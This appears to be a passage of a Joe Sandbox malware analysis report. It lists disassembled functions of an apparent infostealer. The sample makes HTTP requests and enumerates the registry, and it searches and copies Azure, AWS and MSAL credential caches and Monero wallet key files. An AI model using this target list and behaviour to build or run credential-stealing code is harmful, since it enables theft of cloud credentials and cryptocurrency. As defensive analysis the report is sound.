Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E24915
StrCmpCA.SHLWAPI(?,0180FB60), ref: 00E2493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E24ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00E40DDB,00000000,?,?,00000000,?,",00000000,?,0180FAF0), ref: 00E24DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E24E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E24E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E24E49
InternetCloseHandle.WININET(00000000), ref: 00E24EAD
InternetCloseHandle.WININET(00000000), ref: 00E24EC5
HttpOpenRequestA.WININET(00000000,0180FB20,?,0180F388,00000000,00000000,00400100,00000000), ref: 00E24B15

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

InternetCloseHandle.WININET(00000000), ref: 00E24ECF

Strings

------, xrefs: 00E24B28
", xrefs: 00E24BF2
------, xrefs: 00E249BD
", xrefs: 00E24D33
------, xrefs: 00E24C69

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 2ecce1f53ccd6b353359c9a072a31072488ea0e0b01b35b51dc17d61ca5197db
Instruction ID: 640d4806f3e1303ab51d60dbd7a5b06c5a378720be8746f3a3ef6eb937e123a4
Opcode Fuzzy Hash: 2ecce1f53ccd6b353359c9a072a31072488ea0e0b01b35b51dc17d61ca5197db
Instruction Fuzzy Hash: 33120E72910218AADB18EB50DC9AFEEBBB8BF54300F5451A9F14672091DF342F89CF61

Function 00E38320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

RegOpenKeyExA.KERNEL32(00000000,0180C060,00000000,00020019,00000000,00E405B6), ref: 00E383A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00E38426
wsprintfA.USER32 ref: 00E38459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00E3847B
RegCloseKey.ADVAPI32(00000000), ref: 00E3848C
RegCloseKey.ADVAPI32(00000000), ref: 00E38499

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Strings

%s\%s, xrefs: 00E3844D
- , xrefs: 00E385A3
?, xrefs: 00E3837A

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e3b0ba09dfff589d2f29ac718314d1401872ca7aa79a2aa8200d0d0c01d6a808
Instruction ID: 5ea4aa05ef40b8a96a8159441394874e3a89ff3105370024f21331a50e241295
Opcode Fuzzy Hash: e3b0ba09dfff589d2f29ac718314d1401872ca7aa79a2aa8200d0d0c01d6a808
Instruction Fuzzy Hash: 0781DBB1910218AADB28EF54CD99FEA7BB8BB48700F0092D9F149B6140DF756B85CF94

Function 00E26280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E24839
Part of subcall function 00E247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E24849

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

InternetOpenA.WININET(00E40DFE,00000001,00000000,00000000,00000000), ref: 00E262E1
StrCmpCA.SHLWAPI(?,0180FB60), ref: 00E26303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E26335
HttpOpenRequestA.WININET(00000000,GET,?,0180F388,00000000,00000000,00400100,00000000), ref: 00E26385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00E263BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00E263D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00E263FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E2646D
InternetCloseHandle.WININET(00000000), ref: 00E264EF
InternetCloseHandle.WININET(00000000), ref: 00E264F9
InternetCloseHandle.WININET(00000000), ref: 00E26503

Strings

ERROR, xrefs: 00E26407
GET, xrefs: 00E2637C
ERROR, xrefs: 00E264C9

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: b065e3a60f68c58fc79f328fdc579a219c4e3ad682785b3a3f495711c7c6f08a
Instruction ID: 6518d6c2a08f8970d6797b38df34f07a46b3defb6f081671a90cab66b3f0c248
Opcode Fuzzy Hash: b065e3a60f68c58fc79f328fdc579a219c4e3ad682785b3a3f495711c7c6f08a
Instruction Fuzzy Hash: 82715E71A00218EBDB24EFA0DC49FEE77B8BB44700F1091A9F14A7B194DBB56A85CF51

Function 00E35510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00E3A820: lstrlen.KERNEL32(00E24F05,?,?,00E24F05,00E40DDE), ref: 00E3A82B
Part of subcall function 00E3A820: lstrcpy.KERNEL32(00E40DDE,00000000), ref: 00E3A885

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E35644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E356A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E35857

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E351F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E35228

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E352C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E35318
Part of subcall function 00E352C0: lstrlen.KERNEL32(00000000), ref: 00E3532F
Part of subcall function 00E352C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00E35364
Part of subcall function 00E352C0: lstrlen.KERNEL32(00000000), ref: 00E35383
Part of subcall function 00E352C0: lstrlen.KERNEL32(00000000), ref: 00E353AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E3578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00E35940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00E35A0C
Sleep.KERNEL32(0000EA60), ref: 00E35A1B

Strings

ERROR, xrefs: 00E35932
ERROR, xrefs: 00E3577D
ERROR, xrefs: 00E35636
ERROR, xrefs: 00E35849
ERROR, xrefs: 00E35693
ERROR, xrefs: 00E359FE

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 9fde37c438289dc8a6b5bd4d31f8343f24978bf7802f228af619a214e2b03acb
Instruction ID: f8921478af1e15c0c00597649b679dcdc4ac9b12a108fc5325fe2bbe1d6c9810
Opcode Fuzzy Hash: 9fde37c438289dc8a6b5bd4d31f8343f24978bf7802f228af619a214e2b03acb
Instruction Fuzzy Hash: E5E15372910104AACB18FBB0EC9EAED7BB8AF54300F449178F44677195EF356B49CB92

Function 00E34D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E38E0B

lstrcat.KERNEL32(?,00000000), ref: 00E34DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00E34DCD

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E3492C
Part of subcall function 00E34910: FindFirstFileA.KERNEL32(?,?), ref: 00E34943

lstrcat.KERNEL32(?,00000000), ref: 00E34E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00E34E59

Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E40FDC), ref: 00E34971
Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E40FE0), ref: 00E34987
Part of subcall function 00E34910: FindNextFileA.KERNEL32(000000FF,?), ref: 00E34B7D
Part of subcall function 00E34910: FindClose.KERNEL32(000000FF), ref: 00E34B92

lstrcat.KERNEL32(?,00000000), ref: 00E34EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00E34EE5

Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E349B0
Part of subcall function 00E34910: StrCmpCA.SHLWAPI(?,00E408D2), ref: 00E349C5
Part of subcall function 00E34910: wsprintfA.USER32 ref: 00E349E2
Part of subcall function 00E34910: PathMatchSpecA.SHLWAPI(?,?), ref: 00E34A1E
Part of subcall function 00E34910: lstrcat.KERNEL32(?,0180FA50), ref: 00E34A4A
Part of subcall function 00E34910: lstrcat.KERNEL32(?,00E40FF8), ref: 00E34A5C
Part of subcall function 00E34910: lstrcat.KERNEL32(?,?), ref: 00E34A70
Part of subcall function 00E34910: lstrcat.KERNEL32(?,00E40FFC), ref: 00E34A82
Part of subcall function 00E34910: lstrcat.KERNEL32(?,?), ref: 00E34A96
Part of subcall function 00E34910: CopyFileA.KERNEL32(?,?,00000001), ref: 00E34AAC
Part of subcall function 00E34910: DeleteFileA.KERNEL32(?), ref: 00E34B31

Strings

\.azure\, xrefs: 00E34DC1
\.aws\, xrefs: 00E34E4D
*.*, xrefs: 00E34DD8
Azure\.aws, xrefs: 00E34E5F
Azure\.IdentityService, xrefs: 00E34EEB
*.*, xrefs: 00E34E64
Azure\.azure, xrefs: 00E34DD3
msal.cache, xrefs: 00E34EF0
\.IdentityService\, xrefs: 00E34ED9

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 2fa769eda2981bc4714d392a8dbd2683c278690f1499c19844d92d6b6b11ff15
Instruction ID: 881e07c32b3220cde55dded6ef22bfdc5ba02d1ea1feafec0d2befb7d55809ba
Opcode Fuzzy Hash: 2fa769eda2981bc4714d392a8dbd2683c278690f1499c19844d92d6b6b11ff15
Instruction Fuzzy Hash: FB4184BAA4030866CB24F760FC5BFED3678AB64700F4054D4B285760C1EEB597C8CB92

Function 00E21310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00E212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E212B4
Part of subcall function 00E212A0: RtlAllocateHeap.NTDLL(00000000), ref: 00E212BB
Part of subcall function 00E212A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00E212D7
Part of subcall function 00E212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00E212F5
Part of subcall function 00E212A0: RegCloseKey.ADVAPI32(?), ref: 00E212FF

lstrcat.KERNEL32(?,00000000), ref: 00E2134F
lstrlen.KERNEL32(?), ref: 00E2135C
lstrcat.KERNEL32(?,.keys), ref: 00E21377

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E38B60: GetSystemTime.KERNEL32(00E40E1A,0180EA18,00E405AE,?,?,00E213F9,?,0000001A,00E40E1A,00000000,?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E38B86

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00E21465

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E299EC
Part of subcall function 00E299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E29A11
Part of subcall function 00E299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E29A31
Part of subcall function 00E299C0: ReadFile.KERNEL32(000000FF,?,00000000,00E2148F,00000000), ref: 00E29A5A
Part of subcall function 00E299C0: LocalFree.KERNEL32(00E2148F), ref: 00E29A90
Part of subcall function 00E299C0: CloseHandle.KERNEL32(000000FF), ref: 00E29A9A

DeleteFileA.KERNEL32(00000000), ref: 00E214EF

Strings

\Monero\wallet.keys, xrefs: 00E2138D
SOFTWARE\monero-project\monero-core, xrefs: 00E21335
wallet_path, xrefs: 00E21330
.keys, xrefs: 00E2136B

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
